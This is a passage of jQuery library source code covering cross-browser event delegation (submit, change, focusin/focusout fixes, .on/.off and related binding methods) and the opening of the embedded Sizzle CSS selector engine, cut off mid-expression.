{\n\t\t\t// Only need this for delegated form submit events\n\t\t\tif ( jQuery.nodeName( this, \"form\" ) ) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// Lazy-add a submit handler when a descendant form may potentially be submitted\n\t\t\tjQuery.event.add( this, \"click._submit keypress._submit\", function( e ) {\n\t\t\t\t// Node name check avoids a VML-related crash in IE (#9807)\n\t\t\t\tvar elem = e.target,\n\t\t\t\t\tform = jQuery.nodeName( elem, \"input\" ) || jQuery.nodeName( elem, \"button\" ) ? elem.form : undefined;\n\t\t\t\tif ( form && !form._submit_attached ) {\n\t\t\t\t\tjQuery.event.add( form, \"submit._submit\", function( event ) {\n\t\t\t\t\t\tevent._submit_bubble = true;\n\t\t\t\t\t});\n\t\t\t\t\tform._submit_attached = true;\n\t\t\t\t}\n\t\t\t});\n\t\t\t// return undefined since we don't need an event listener\n\t\t},\n\t\t\n\t\tpostDispatch: function( event ) {\n\t\t\t// If form was submitted by the user, bubble the event up the tree\n\t\t\tif ( event._submit_bubble ) {\n\t\t\t\tdelete event._submit_bubble;\n\t\t\t\tif ( this.parentNode && !event.isTrigger ) {\n\t\t\t\t\tjQuery.event.simulate( \"submit\", this.parentNode, event, true );\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tteardown: function() {\n\t\t\t// Only need this for delegated form submit events\n\t\t\tif ( jQuery.nodeName( this, \"form\" ) ) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// Remove delegated handlers; cleanData eventually reaps submit handlers attached above\n\t\t\tjQuery.event.remove( this, \"._submit\" );\n\t\t}\n\t};\n}\n\n// IE change delegation and checkbox/radio fix\nif ( !jQuery.support.changeBubbles ) {\n\n\tjQuery.event.special.change = {\n\n\t\tsetup: function() {\n\n\t\t\tif ( rformElems.test( this.nodeName ) ) {\n\t\t\t\t// IE doesn't fire change on a check/radio until blur; trigger it on click\n\t\t\t\t// after a propertychange. Eat the blur-change in special.change.handle.\n\t\t\t\t// This still fires onchange a second time for check/radio after blur.\n\t\t\t\tif ( this.type === \"checkbox\" || this.type === \"radio\" ) {\n\t\t\t\t\tjQuery.event.add( this, \"propertychange._change\", function( event ) {\n\t\t\t\t\t\tif ( event.originalEvent.propertyName === \"checked\" ) {\n\t\t\t\t\t\t\tthis._just_changed = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\tjQuery.event.add( this, \"click._change\", function( event ) {\n\t\t\t\t\t\tif ( this._just_changed && !event.isTrigger ) {\n\t\t\t\t\t\t\tthis._just_changed = false;\n\t\t\t\t\t\t\tjQuery.event.simulate( \"change\", this, event, true );\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// Delegated event; lazy-add a change handler on descendant inputs\n\t\t\tjQuery.event.add( this, \"beforeactivate._change\", function( e ) {\n\t\t\t\tvar elem = e.target;\n\n\t\t\t\tif ( rformElems.test( elem.nodeName ) && !elem._change_attached ) {\n\t\t\t\t\tjQuery.event.add( elem, \"change._change\", function( event ) {\n\t\t\t\t\t\tif ( this.parentNode && !event.isSimulated && !event.isTrigger ) {\n\t\t\t\t\t\t\tjQuery.event.simulate( \"change\", this.parentNode, event, true );\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\telem._change_attached = true;\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\n\t\thandle: function( event ) {\n\t\t\tvar elem = event.target;\n\n\t\t\t// Swallow native change events from checkbox/radio, we already triggered them above\n\t\t\tif ( this !== elem || event.isSimulated || event.isTrigger || (elem.type !== \"radio\" && elem.type !== \"checkbox\") ) {\n\t\t\t\treturn event.handleObj.handler.apply( this, arguments );\n\t\t\t}\n\t\t},\n\n\t\tteardown: function() {\n\t\t\tjQuery.event.remove( this, \"._change\" );\n\n\t\t\treturn rformElems.test( this.nodeName );\n\t\t}\n\t};\n}\n\n// Create \"bubbling\" focus and blur events\nif ( !jQuery.support.focusinBubbles ) {\n\tjQuery.each({ focus: \"focusin\", blur: \"focusout\" }, function( orig, fix ) {\n\n\t\t// Attach a single capturing handler while someone wants focusin/focusout\n\t\tvar attaches = 0,\n\t\t\thandler = function( event ) {\n\t\t\t\tjQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true );\n\t\t\t};\n\n\t\tjQuery.event.special[ fix ] = {\n\t\t\tsetup: function() {\n\t\t\t\tif ( attaches++ === 0 ) {\n\t\t\t\t\tdocument.addEventListener( orig, handler, true );\n\t\t\t\t}\n\t\t\t},\n\t\t\tteardown: function() {\n\t\t\t\tif ( --attaches === 0 ) {\n\t\t\t\t\tdocument.removeEventListener( orig, handler, true );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t});\n}\n\njQuery.fn.extend({\n\n\ton: function( types, selector, data, fn, /*INTERNAL*/ one ) {\n\t\tvar origFn, type;\n\n\t\t// Types can be a map of types/handlers\n\t\tif ( typeof types === \"object\" ) {\n\t\t\t// ( types-Object, selector, data )\n\t\t\tif ( typeof selector !== \"string\" ) { // && selector != null\n\t\t\t\t// ( types-Object, data )\n\t\t\t\tdata = data || selector;\n\t\t\t\tselector = undefined;\n\t\t\t}\n\t\t\tfor ( type in types ) {\n\t\t\t\tthis.on( type, selector, data, types[ type ], one );\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\n\t\tif ( data == null && fn == null ) {\n\t\t\t// ( types, fn )\n\t\t\tfn = selector;\n\t\t\tdata = selector = undefined;\n\t\t} else if ( fn == null ) {\n\t\t\tif ( typeof selector === \"string\" ) {\n\t\t\t\t// ( types, selector, fn )\n\t\t\t\tfn = data;\n\t\t\t\tdata = undefined;\n\t\t\t} else {\n\t\t\t\t// ( types, data, fn )\n\t\t\t\tfn = data;\n\t\t\t\tdata = selector;\n\t\t\t\tselector = undefined;\n\t\t\t}\n\t\t}\n\t\tif ( fn === false ) {\n\t\t\tfn = returnFalse;\n\t\t} else if ( !fn ) {\n\t\t\treturn this;\n\t\t}\n\n\t\tif ( one === 1 ) {\n\t\t\torigFn = fn;\n\t\t\tfn = function( event ) {\n\t\t\t\t// Can use an empty set, since event contains the info\n\t\t\t\tjQuery().off( event );\n\t\t\t\treturn origFn.apply( this, arguments );\n\t\t\t};\n\t\t\t// Use same guid so caller can remove using origFn\n\t\t\tfn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.add( this, types, fn, data, selector );\n\t\t});\n\t},\n\tone: function( types, selector, data, fn ) {\n\t\treturn this.on( types, selector, data, fn, 1 );\n\t},\n\toff: function( types, selector, fn ) {\n\t\tif ( types && types.preventDefault && types.handleObj ) {\n\t\t\t// ( event )  dispatched jQuery.Event\n\t\t\tvar handleObj = types.handleObj;\n\t\t\tjQuery( types.delegateTarget ).off(\n\t\t\t\thandleObj.namespace ? handleObj.origType + \".\" + handleObj.namespace : handleObj.origType,\n\t\t\t\thandleObj.selector,\n\t\t\t\thandleObj.handler\n\t\t\t);\n\t\t\treturn this;\n\t\t}\n\t\tif ( typeof types === \"object\" ) {\n\t\t\t// ( types-object [, selector] )\n\t\t\tfor ( var type in types ) {\n\t\t\t\tthis.off( type, selector, types[ type ] );\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\t\tif ( selector === false || typeof selector === \"function\" ) {\n\t\t\t// ( types [, fn] )\n\t\t\tfn = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tif ( fn === false ) {\n\t\t\tfn = returnFalse;\n\t\t}\n\t\treturn this.each(function() {\n\t\t\tjQuery.event.remove( this, types, fn, selector );\n\t\t});\n\t},\n\n\tbind: function( types, data, fn ) {\n\t\treturn this.on( types, null, data, fn );\n\t},\n\tunbind: function( types, fn ) {\n\t\treturn this.off( types, null, fn );\n\t},\n\n\tlive: function( types, data, fn ) {\n\t\tjQuery( this.context ).on( types, this.selector, data, fn );\n\t\treturn this;\n\t},\n\tdie: function( types, fn ) {\n\t\tjQuery( this.context ).off( types, this.selector || \"**\", fn );\n\t\treturn this;\n\t},\n\n\tdelegate: function( selector, types, data, fn ) {\n\t\treturn this.on( types, selector, data, fn );\n\t},\n\tundelegate: function( selector, types, fn ) {\n\t\t// ( namespace ) or ( selector, types [, fn] )\n\t\treturn arguments.length == 1? this.off( selector, \"**\" ) : this.off( types, selector, fn );\n\t},\n\n\ttrigger: function( type, data ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.event.trigger( type, data, this );\n\t\t});\n\t},\n\ttriggerHandler: function( type, data ) {\n\t\tif ( this[0] ) {\n\t\t\treturn jQuery.event.trigger( type, data, this[0], true );\n\t\t}\n\t},\n\n\ttoggle: function( fn ) {\n\t\t// Save reference to arguments for access in closure\n\t\tvar args = arguments,\n\t\t\tguid = fn.guid || jQuery.guid++,\n\t\t\ti = 0,\n\t\t\ttoggler = function( event ) {\n\t\t\t\t// Figure out which function to execute\n\t\t\t\tvar lastToggle = ( jQuery._data( this, \"lastToggle\" + fn.guid ) || 0 ) % i;\n\t\t\t\tjQuery._data( this, \"lastToggle\" + fn.guid, lastToggle + 1 );\n\n\t\t\t\t// Make sure that clicks stop\n\t\t\t\tevent.preventDefault();\n\n\t\t\t\t// and execute the function\n\t\t\t\treturn args[ lastToggle ].apply( this, arguments ) || false;\n\t\t\t};\n\n\t\t// link all the functions, so any of them can unbind this click handler\n\t\ttoggler.guid = guid;\n\t\twhile ( i < args.length ) {\n\t\t\targs[ i++ ].guid = guid;\n\t\t}\n\n\t\treturn this.click( toggler );\n\t},\n\n\thover: function( fnOver, fnOut ) {\n\t\treturn this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );\n\t}\n});\n\njQuery.each( (\"blur focus focusin focusout load resize scroll unload click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup error contextmenu\").split(\" \"), function( i, name ) {\n\n\t// Handle event binding\n\tjQuery.fn[ name ] = function( data, fn ) {\n\t\tif ( fn == null ) {\n\t\t\tfn = data;\n\t\t\tdata = null;\n\t\t}\n\n\t\treturn arguments.length > 0 ?\n\t\t\tthis.on( name, null, data, fn ) :\n\t\t\tthis.trigger( name );\n\t};\n\n\tif ( jQuery.attrFn ) {\n\t\tjQuery.attrFn[ name ] = true;\n\t}\n\n\tif ( rkeyEvent.test( name ) ) {\n\t\tjQuery.event.fixHooks[ name ] = jQuery.event.keyHooks;\n\t}\n\n\tif ( rmouseEvent.test( name ) ) {\n\t\tjQuery.event.fixHooks[ name ] = jQuery.event.mouseHooks;\n\t}\n});\n\n\n\n/*!\n * Sizzle CSS Selector Engine\n *  Copyright 2011, The Dojo Foundation\n *  Released under the MIT, BSD, and GPL Licenses.\n *  More information: http://sizzlejs.com/\n */\n(function(){\n\nvar chunker = /((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ >+~,(\\[\\\\]+)+|[>+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,\n\texpando = \"sizcache\" + (Math.random() + '').replace('.', ''),\n\tdone = 0,\n\ttoString = Object.prototype.toString,\n\thasDuplicate = false,\n\tbaseHasDuplicate = true,\n\trBackslash = /\\\\/g,\n\trReturn = /\\r\\n/g,\n\trNonWord = /\\W/;\n\n// Here we check if the JavaScript engine is using some sort of\n// optimization where it does not always call our comparision\n// function. If that is the case, discard the hasDuplicate value.\n//   Thus far that includes Google Chrome.\n[0, 0].sort(function() {\n\tbaseHasDuplicate = false;\n\treturn 0;\n});\n\nvar Sizzle = function( selector, context, results, seed ) {\n\tresults = results || [];\n\tcontext = context || document;\n\n\tvar origContext = context;\n\n\tif ( context.nodeType !== 1 && context.nodeType !== 9 ) {\n\t\treturn [];\n\t}\n\n\tif ( !selector || typeof selector !== \"string\" ) {\n\t\treturn results;\n\t}\n\n\tvar m, set, checkSet, extra, ret, cur, pop, i,\n\t\tprune = true,\n\t\tcontextXML = Sizzle.isXML( context ),\n\t\tparts = [],\n\t\tsoFar = selector;\n\n\t// Reset the position of the chunker regexp (start from head)\n\tdo {\n\t\tchunker.exec( \"\" );\n\t\tm = chunker.exec( soFar );\n\n\t\tif ( m ) {\n\t\t\tsoFar = m[3];\n\n\t\t\tparts.push( m[1] );\n\n\t\t\tif ( m[2] ) {\n\t\t\t\textra = m[3];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t} while ( m );\n\n\tif ( parts.length > 1 && origPOS.exec( selector ) ) {\n\n\t\tif ( parts.length === 2 && Expr.relative[ parts[0] ] ) {\n\t\t\tset = posProcess( parts[0] + parts[1], context, seed );\n\n\t\t} else {\n\t\t\tset = Expr.relative[ parts[0] ] ?\n\t\t\t\t[ context ] :\n\t\t\t\tSizzle( parts.shift(), context );\n\n\t\t\twhile ( parts.length ) {\n\t\t\t\tselector = parts.shift();\n\n\t\t\t\tif ( Expr.relative[ selector ] ) {\n\t\t\t\t\tselector += parts.shift();\n\t\t\t\t}\n\n\t\t\t\tset = posProcess( selector, set, seed );\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\t// Take a shortcut and set the context if the root selector is an ID\n\t\t// (but not if it'll be faster if the inner selector is an ID)\n\t\tif ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&\n\t\t\t\tExpr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {\n\n\t\t\tret = Sizzle.find( parts.shift(), context, contextXML );\n\t\t\tcontext = ret.expr ?\n\t\t\t\tSizzle.filter( ret.expr, ret.set )[0] :\n\t\t\t\tret.set[0];\n\t\t}\n\n\t\tif ( context ) {\n\t\t\tret = seed ?\n\t\t\t\t{ expr: parts.pop(), set: makeArray(seed) } :\n\t\t\t\tSizzle.find( parts.pop(), parts.length === 1 && (parts[0] === \"~\" || parts[0] === \"+\") && context.parentNode ? context.parentNode : context, contextXML );\n\n\t\t\tset = ret.expr ?\n\t\t\t\tSizzle.filter( ret.expr, ret.set ) :\n\t\t\t\tret.set;\n\n\t\t\tif ( parts.length > 0 ) {\n\t\t\t\tcheckSet = makeArray( set );\n\n\t\t\t} else {\n\t\t\t\tprune = false;\n\t\t\t}\n\n\t\t\twhile ( parts.length ) {\n\t\t\t\tcur = parts.pop();\n\t\t\t\tpop = cur;\n\n\t\t\t\tif ( !Expr.relative[ cur ] ) {\n\t\t\t\t\tcur = \"\";\n\t\t\t\t} else {\n\t\t\t\t\tpop = parts.pop();\n\t\t\t\t}\n\n\t\t\t\tif ( pop == null ) {\n\t\t\t\t\tpop = context;\n\t\t\t\t}\n\n\t\t\t\tExpr.relative[ cur ]( checkSet, pop, contextXML );\n\t\t\t}\n\n\t\t} else {\n\t\t\tcheckSet = parts = [];\n\t\t}\n\t}\n\n\tif ( !checkSet ) {\n\t\tcheckSet = set;\n\t}\n\n\tif ( !checkSet ) {\n\t\tSizzle.error( cur || selector );\n\t}\n\n\tif ( toString.call(checkSet) === \"[object Array]\" ) {\n\t\tif ( !prune ) {\n\t\t\tresults.push.apply( results, checkSet );\n\n\t\t} else if ( context && context.nodeType === 1 ) {\n\t\t\tfor ( i = 0; checkSet[i] != null; i++ ) {\n\t\t\t\tif ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {\n\t\t\t\t\tresults.push( set[i] );\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\t\t\tfor ( i = 0; checkSet[i] != null; i++ ) {\n\t\t\t\tif ( checkSet[i] && checkSet[i].nodeType === 1 ) {\n\t\t\t\t\tresults.push( set[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\tmakeArray( checkSet, results );\n\t}\n\n\tif ( extra ) {\n\t\tSizzle( extra, origContext, results, seed );\n\t\tSizzle.uniqueSort( results );\n\t}\n\n\treturn results;\n};\n\nSizzle.uniqueSort = function( results ) {\n\tif ( sortOrder ) {\n\t\thasDuplicate = baseHasDuplicate;\n\t\tresults.sort( sortOrder );\n\n\t\tif ( hasDuplicate ) {\n\t\t\tfor ( var i = 1; i < results.length; i++ ) {\n\t\t\t\tif ( results[i] === results[ i - 1 ] ) {\n\t\t\t\t\tresults.splice( i--, 1 );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn results;\n};\n\nSizzle.matches = function( expr, set ) {\n\treturn Sizzle( expr, null, null, set );\n};\n\nSizzle.matchesSelector = function( node, expr ) {\n\treturn Sizzle( expr, null, null, [node] ).length > 0;\n};\n\nSizzle.find = function( expr, context, isXML ) {\n\tvar set, i, len, match, type, left;\n\n\tif ( !expr ) {\n\t\treturn [];\n\t}\n\n\tfor ( i = 0, len = Expr.order.length; i < len; i++ ) {\n\t\ttype = Expr.order[i];\n\n\t\tif ( (match = Expr.leftMatch[ type ].exec( expr )) ) {\n\t\t\tleft = match[1];\n\t\t\tmatch.splice( 1, 1 );\n\n\t\t\tif ( left.substr( left.length - 1 ) !== \"\\\\\" ) {\n\t\t\t\tmatch[1] = (match[1] || \"\").replace( rBackslash, \"\" );\n\t\t\t\tset = Expr.find[ type ]( match, context, isXML );\n\n\t\t\t\tif ( set != null ) {\n\t\t\t\t\texpr = expr.replace( Expr.match[ type ], \"\" );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( !set ) {\n\t\tset = typeof context.getElementsByTagName !== \"undefined\" ?\n\t\t\tcontext.getElementsByTagName( \"*\" ) :\n\t\t\t[];\n\t}\n\n\treturn { set: set, expr: expr };\n};\n\nSizzle.filter = function( expr, set, inplace, not ) {\n\tvar match, anyFound,\n\t\ttype, found, item, filter, left,\n\t\ti, pass,\n\t\told = expr,\n\t\tresult = [],\n\t\tcurLoop = set,\n\t\tisXMLFilter = set && set[0] && Sizzle.isXML( set[0] );\n\n\twhile ( expr && set.length ) {\n\t\tfor ( type in Expr.filter ) {\n\t\t\tif ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {\n\t\t\t\tfilter = Expr.filter[ type ];\n\t\t\t\tleft = match[1];\n\n\t\t\t\tanyFound = false;\n\n\t\t\t\tmatch.splice(1,1);\n\n\t\t\t\tif ( left.substr( left.length - 1 ) === \"\\\\\" ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ( curLoop === result ) {\n\t\t\t\t\tresult = [];\n\t\t\t\t}\n\n\t\t\t\tif ( Expr.preFilter[ type ] ) {\n\t\t\t\t\tmatch = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );\n\n\t\t\t\t\tif ( !match ) {\n\t\t\t\t\t\tanyFound = found = true;\n\n\t\t\t\t\t} else if ( match === true ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( match ) {\n\t\t\t\t\tfor ( i = 0; (item = curLoop[i]) != null; i++ ) {\n\t\t\t\t\t\tif ( item ) {\n\t\t\t\t\t\t\tfound = filter( item, match, i, curLoop );\n\t\t\t\t\t\t\tpass = not ^ found;\n\n\t\t\t\t\t\t\tif ( inplace && found != null ) {\n\t\t\t\t\t\t\t\tif ( pass ) {\n\t\t\t\t\t\t\t\t\tanyFound = true;\n\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tcurLoop[i] = false;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t} else if ( pass ) {\n\t\t\t\t\t\t\t\tresult.push( item );\n\t\t\t\t\t\t\t\tanyFound = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( found !== undefined ) {\n\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\tcurLoop = result;\n\t\t\t\t\t}\n\n\t\t\t\t\texpr = expr.replace( Expr.match[ type ], \"\" );\n\n\t\t\t\t\tif ( !anyFound ) {\n\t\t\t\t\t\treturn [];\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Improper expression\n\t\tif ( expr === old ) {\n\t\t\tif ( anyFound == null ) {\n\t\t\t\tSizzle.error( expr );\n\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\told = expr;\n\t}\n\n\treturn curLoop;\n};\n\nSizzle.error = function( msg ) {\n\tthrow new Error( \"Syntax error, unrecognized expression: \" + msg );\n};\n\n/**\n * Utility function for retreiving the text value of an array of DOM nodes\n * @param {Array|Element} elem\n */\nvar getText = Sizzle.getText = function( elem ) {\n    var i, node,\n\t\tnodeType = elem.nodeType,\n\t\tret = \"\";\n\n\tif ( nodeType ) {\n\t\tif ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {\n\t\t\t// Use textContent || innerText for elements\n\t\t\tif ( typeof elem.textContent === 'string' ) {\n\t\t\t\treturn elem.textContent;\n\t\t\t} else if ( typeof elem.innerText === 'string' ) {\n\t\t\t\t// Replace IE's carriage returns\n\t\t\t\treturn elem.innerText.replace( rReturn, '' );\n\t\t\t} else {\n\t\t\t\t// Traverse it's children\n\t\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling) {\n\t\t\t\t\tret += getText( elem );\n\t\t\t\t}\n\t\t\t}\n\t\t} else if ( nodeType === 3 || nodeType === 4 ) {\n\t\t\treturn elem.nodeValue;\n\t\t}\n\t} else {\n\n\t\t// If no nodeType, this is expected to be an array\n\t\tfor ( i = 0; (node = elem[i]); i++ ) {\n\t\t\t// Do not traverse comment nodes\n\t\t\tif ( node.nodeType !== 8 ) {\n\t\t\t\tret += getText( node );\n\t\t\t}\n\t\t}\n\t}\n\treturn ret;\n};\n\nvar Expr = Sizzle.selectors = {\n\torder: [ \"ID\", \"NAME\", \"TAG\" ],\n\n\tmatch: {\n\t\tID: /#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,\n\t\tCLASS: /\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,\n\t\tNAME: /\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,\n\t\tATTR: /\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,\n\t\tTAG: /^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,\n\t\tCHILD: /:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,\n\t\tPOS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,\n\t\tPSEUDO: /:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/\n\t},\n\n\tleftMatch: {},\n\n\tattrMap: {\n\t\t\"class\": \"className\",\n\t\t\"for\": \"htmlFor\"\n\t},\n\n\tattrHandle: {\n\t\thref: function( elem ) {\n\t\t\treturn elem.getAttribute( \"href\" );\n\t\t},\n\t\ttype: function( elem ) {\n\t\t\treturn elem.getAttribute( \"type\" );\n\t\t}\n\t},\n\n\trelative: {\n\t\t\"+\": function(checkSet, part){\n\t\t\tvar isPartStr = typeof part === \"string\",\n\t\t\t\tisTag = isPartStr && !rNonWord.test( part ),\n\t\t\t\tisPartStrNotTag = isPartStr && !isTag;\n\n\t\t\tif ( isTag ) {\n\t\t\t\tpart = part.toLowerCase();\n\t\t\t}\n\n\t\t\tfor ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {\n\t\t\t\tif ( (elem = checkSet[i]) ) {\n\t\t\t\t\twhile ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}\n\n\t\t\t\t\tcheckSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?\n\t\t\t\t\t\telem || false :\n\t\t\t\t\t\telem === part;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( isPartStrNotTag ) {\n\t\t\t\tSizzle.filter( part, checkSet, true );\n\t\t\t}\n\t\t},\n\n\t\t\">\": function( checkSet, part ) {\n\t\t\tvar elem,\n\t\t\t\tisPartStr = typeof part === \"string\",\n\t\t\t\ti = 0,\n\t\t\t\tl = checkSet.length;\n\n\t\t\tif ( isPartStr && !rNonWord.test( part ) ) {\n\t\t\t\tpart = part.toLowerCase();\n\n\t\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\t\telem = checkSet[i];\n\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\tvar parent = elem.parentNode;\n\t\t\t\t\t\tcheckSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\t\telem = checkSet[i];\n\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\tcheckSet[i] = isPartStr ?\n\t\t\t\t\t\t\telem.parentNode :\n\t\t\t\t\t\t\telem.parentNode === part;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( isPartStr ) {\n\t\t\t\t\tSizzle.filter( part, checkSet, true );\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\t\"\": function(checkSet, part, isXML){\n\t\t\tvar nodeCheck,\n\t\t\t\tdoneName = done++,\n\t\t\t\tcheckFn = dirCheck;\n\n\t\t\tif ( typeof part === \"string\" && !rNonWord.test( part ) ) {\n\t\t\t\tpart = part.toLowerCase();\n\t\t\t\tnodeCheck = part;\n\t\t\t\tcheckFn = dirNodeCheck;\n\t\t\t}\n\n\t\t\tcheckFn( \"parentNode\", part, doneName, checkSet, nodeCheck, isXML );\n\t\t},\n\n\t\t\"~\": function( checkSet, part, isXML ) {\n\t\t\tvar nodeCheck,\n\t\t\t\tdoneName = done++,\n\t\t\t\tcheckFn = dirCheck;\n\n\t\t\tif ( typeof part === \"string\" && !rNonWord.test( part ) ) {\n\t\t\t\tpart = part.toLowerCase();\n\t\t\t\tnodeCheck = part;\n\t\t\t\tcheckFn = dirNodeCheck;\n\t\t\t}\n\n\t\t\tcheckFn( \"previousSibling\", part, doneName, checkSet, nodeCheck, isXML );\n\t\t}\n\t},\n\n\tfind: {\n\t\tID: function( match, context, isXML ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && !isXML ) {\n\t\t\t\tvar m = context.getElementById(match[1]);\n\t\t\t\t// Check parentNode to catch when Blackberry 4.6 returns\n\t\t\t\t// nodes that are no longer in the document #6963\n\t\t\t\treturn m && m.parentNode ? [m] : [];\n\t\t\t}\n\t\t},\n\n\t\tNAME: function( match, context ) {\n\t\t\tif ( typeof context.getElementsByName !== \"undefined\" ) {\n\t\t\t\tvar ret = [],\n\t\t\t\t\tresults = context.getElementsByName( match[1] );\n\n\t\t\t\tfor ( var i = 0, l = results.length; i < l; i++ ) {\n\t\t\t\t\tif ( results[i].getAttribute(\"name\") === match[1] ) {\n\t\t\t\t\t\tret.push( results[i] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn ret.length === 0 ? null : ret;\n\t\t\t}\n\t\t},\n\n\t\tTAG: function( match, context ) {\n\t\t\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\t\t\treturn context.getElementsByTagName( match[1] );\n\t\t\t}\n\t\t}\n\t},\n\tpreFilter: {\n\t\tCLASS: function( match, curLoop, inplace, result, not, isXML ) {\n\t\t\tmatch = \" \" + match[1].replace( rBackslash, \"\" ) + \" \";\n\n\t\t\tif ( isXML ) {\n\t\t\t\treturn match;\n\t\t\t}\n\n\t\t\tfor ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {\n\t\t\t\tif ( elem ) {\n\t\t\t\t\tif ( not ^ (elem.className && (\" \" + elem.className + \" \").replace(/[\\t\\n\\r]/g, \" \").indexOf(match) >= 0) ) {\n\t\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\t\tresult.push( elem );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else if ( inplace ) {\n\t\t\t\t\t\tcurLoop[i] = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false;\n\t\t},\n\n\t\tID: function( match ) {\n\t\t\treturn match[1].replace( rBackslash, \"\" );\n\t\t},\n\n\t\tTAG: function( match, curLoop ) {\n\t\t\treturn match[1].replace( rBackslash, \"\" ).toLowerCase();\n\t\t},\n\n\t\tCHILD: function( match ) {\n\t\t\tif ( match[1] === \"nth\" ) {\n\t\t\t\tif ( !match[2] ) {\n\t\t\t\t\tSizzle.error( match[0] );\n\t\t\t\t}\n\n\t\t\t\tmatch[2] = match[2].replace(/^\\+|\\s*/g, '');\n\n\t\t\t\t// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'\n\t\t\t\tvar test = /(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(\n\t\t\t\t\tmatch[2] === \"even\" && \"2n\" || match[2] === \"odd\" && \"2n+1\" ||\n\t\t\t\t\t!/\\D/.test( match[2] ) && \"0n+\" + match[2] || match[2]);\n\n\t\t\t\t// calculate the numbers (first)n+(last) including if they are negative\n\t\t\t\tmatch[2] = (test[1] + (test[2] || 1)) - 